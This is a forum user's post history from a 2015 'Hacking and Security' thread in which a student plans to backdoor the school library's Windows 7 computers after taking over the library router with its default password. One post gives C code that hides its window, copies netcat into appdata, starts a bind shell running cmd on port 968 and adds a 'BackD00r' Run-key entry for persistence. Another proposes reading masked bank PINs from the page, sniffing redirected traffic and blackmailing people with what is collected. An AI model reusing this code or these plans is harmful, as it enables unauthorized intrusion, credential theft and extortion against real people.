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Messages - L4T1N

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1
Hacking and Security / Re: Setting Up A Backdoor
« on: February 13, 2015, 07:39:24 pm »
I haven't created the malware just yet :P I just think it's possible :O and i'm out of school next year :P


Doesn't have to be malware either. The problem is because of HTML so any site using a masked input box is exploitable

2
Hacking and Security / Re: Setting Up A Backdoor
« on: February 12, 2015, 05:23:35 pm »
Haha i changed the subject that's why it's there XD

3
Hacking and Security / Re: Setting Up A Backdoor
« on: February 12, 2015, 03:08:03 pm »
Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <CustomHeader_Small.h>
int main()
{
    char Title[255];
    GetConsoleTitle(Title,sizeof(Title));
    ShowWindow(FindWindow(NULL,Title),0);
    free(Title);
    char *File = malloc(1);
    File = getenv("appdata");
    strcat(File,"\\nc.exe");
    if (FileExists(File)==0)
    {
        CopyFile("nc.exe",File,0);
        SetFileAttributes(File,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
    }


    if (ShellExecute(0,"open",File,"-l -e cmd -p 968 -L",0,0) < 32)
        Beep(100,50);
    HKEY RegHandler;


    if (RegOpenKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&RegHandler)!=ERROR_SUCCESS)
    {
    main();
    }
    else
    {
        strcat(File," -l -e cmd -p 968 -L");
     if (RegSetValueEx(RegHandler,"BackD00r",0,REG_SZ,File,strlen(File)) != ERROR_SUCCESS)
        Beep(100,50);
    RegCloseKey(RegHandler);
    }


    free(File);


    return 0;
}


I'll be using this for the school's library :P

4
Hacking and Security / Re: Setting Up A Backdoor
« on: February 12, 2015, 02:26:07 pm »
I'm probably not good enough to do that just yet :/


If i had to think of a few ways though i'd abuse the fact that masked input boxes in html don't protect the actual value in memory so doing something like document.getElementById("j_pin").value would return the actual pin someone uses to login to a bank website. Of course you'd have to be on the computer in question and someone would need to distract the person in question aaaaaaaaaannnnnnnnnnddddd hopefully something like remember my password is enabled on the browser.


Blackmail with some information i can get by sniffing packets travelling through the network? I do have access to the router so setting it up to forward all traffic to the computer I control and setting up a packet sniffer would be easy.


Uhm. That's about all i can think of so quickly :3

5
Hacking and Security / Setting Up A Backdoor
« on: February 12, 2015, 01:53:51 pm »
Hiii Everyone :P


So i just had a quick question. My school has a wifi set up for the library which is not free to access. Unfortunately the AP is reachable from the IT class so i simply logged into the router with the default password and set up my own little AP for free wifi :D


I am now bored with this and would like to do something else.
The computers in the library all run windows 7 and F-PROT if i'm not mistaken. Luckily though the administrator account has no password. I thought I'd create a simple piece of malware in C that would allow me to execute commands from either my phone or the computers in the IT class on the computers in the library (  I know i can use nc for this :D ) I don't think this will be particularly hard though and i'm getting kind of bored.


Any ideas? :P

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